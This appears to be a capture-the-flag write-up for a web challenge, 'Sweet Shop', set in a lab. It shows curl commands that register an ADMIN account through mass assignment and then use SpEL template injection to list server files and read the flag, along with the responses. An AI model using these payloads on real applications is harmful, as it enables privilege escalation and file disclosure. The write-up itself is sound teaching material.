Category: Web Exploitation
Flag: apoorvctf{sp3l_1nj3ct10n_sw33t_v1ct0ry_2026}
Challenge Description
Sweet Shop - So can you spell the word sweet
Analysis
The homepage source looked intentionally playful, but it immediately gave a useful breadcrumb by mentioning the management API and including a fake-looking flag in HTML comments. I pulled the page first to confirm those hints and collect the API surface clues.
curl -s "http://chals1.apoorvctf.xyz:7001/"<!-- apoorvctf{html_s0urc3_1s_n0t_th3_w4y} -->
<!-- Management API: /actuator -->From there, checking actuator mappings was the cleanest low-noise way to enumerate real backend routes without brute-force path spraying. That exposed hidden admin endpoints and showed exactly where to focus.
curl -s "http://chals1.apoorvctf.xyz:7001/actuator/mappings" | rg -o "(/api/admin/(debug/config|flag|users|preview)|/h2-console/\*)"/api/admin/debug/config
/api/admin/flag
/api/admin/users
/api/admin/preview
/h2-console/*The first trap was /api/admin/flag, which returned a convincing but incorrect flag. That was the troll moment that forced a pivot from “grab admin flag endpoint” to “understand backend template behavior.”

curl -s "http://chals1.apoorvctf.xyz:7001/api/admin/flag" -H "X-Api-Token: eca59e87-f9a6-4d55-928a-2654bd5aec41"{"message":"Congratulations! You found the admin panel flag!","flag":"apoorvctf{y0u_f0und_th3_4dm1n_p4n3l}"}Before template exploitation, I needed a valid admin token generated through the app’s own flow. Registration accepted a user-controlled role field, so mass assignment allowed creating an ADMIN account directly, and login returned apiToken for privileged endpoints.
u="ctfwrite$(date +%s)" && curl -s -X POST "http://chals1.apoorvctf.xyz:7001/api/register" -H "Content-Type: application/json" -d "{\"username\":\"$u\",\"password\":\"Passw0rd!\",\"email\":\"$u@example.com\",\"role\":\"ADMIN\"}" && curl -s -X POST "http://chals1.apoorvctf.xyz:7001/api/login" -H "Content-Type: application/json" -d "{\"username\":\"$u\",\"password\":\"Passw0rd!\"}"{"role":"ADMIN","message":"Registration successful","username":"ctfwrite1772940656"}
{"role":"ADMIN","apiToken":"9333e04b-d871-4088-80a0-56f45bc9a51d","message":"Login successful","username":"ctfwrite1772940656"}The decisive bug was in /api/admin/preview: user input in template was evaluated as SpEL. A quick arithmetic payload confirmed expression execution.
curl -s -X POST "http://chals1.apoorvctf.xyz:7001/api/admin/preview" -H "X-Api-Token: eca59e87-f9a6-4d55-928a-2654bd5aec41" -H "Content-Type: application/json" -d '{"template":"[[${7*7}]]"}'{"note":"This is a preview of the notification template","preview":"[[49]]"}With SpEL confirmed, I used Java APIs inside expression context to inspect /app and found flag.txt available from the runtime working directory.
curl -s -X POST "http://chals1.apoorvctf.xyz:7001/api/admin/preview" -H "X-Api-Token: eca59e87-f9a6-4d55-928a-2654bd5aec41" -H "Content-Type: application/json" -d '{"template":"[[${T(java.util.Arrays).toString(new java.io.File(\"/app\").list())}]]"}'{"note":"This is a preview of the notification template","preview":"[[[flag.txt, app.jar]]]"}The elegant finish was calling the service method reachable from template context: #root.shopService.readFlag("flag.txt"). That returned the real flag directly.

curl -s -X POST "http://chals1.apoorvctf.xyz:7001/api/admin/preview" -H "X-Api-Token: eca59e87-f9a6-4d55-928a-2654bd5aec41" -H "Content-Type: application/json" -d '{"template":"[[${#root.shopService.readFlag(\"flag.txt\")}]]"}'{"note":"This is a preview of the notification template","preview":"[[apoorvctf{sp3l_1nj3ct10n_sw33t_v1ct0ry_2026}\n]]"}Solution
u="ctfwrite$(date +%s)"
curl -s -X POST "http://chals1.apoorvctf.xyz:7001/api/register" \
-H "Content-Type: application/json" \
-d "{\"username\":\"$u\",\"password\":\"Passw0rd!\",\"email\":\"$u@example.com\",\"role\":\"ADMIN\"}"
curl -s -X POST "http://chals1.apoorvctf.xyz:7001/api/login" \
-H "Content-Type: application/json" \
-d "{\"username\":\"$u\",\"password\":\"Passw0rd!\"}"
# Use returned apiToken in X-Api-Token below
curl -s -X POST "http://chals1.apoorvctf.xyz:7001/api/admin/preview" \
-H "X-Api-Token: <ADMIN_API_TOKEN>" \
-H "Content-Type: application/json" \
-d '{"template":"[[${#root.shopService.readFlag(\"flag.txt\")}]]"}'{"note":"This is a preview of the notification template","preview":"[[apoorvctf{sp3l_1nj3ct10n_sw33t_v1ct0ry_2026}\n]]"}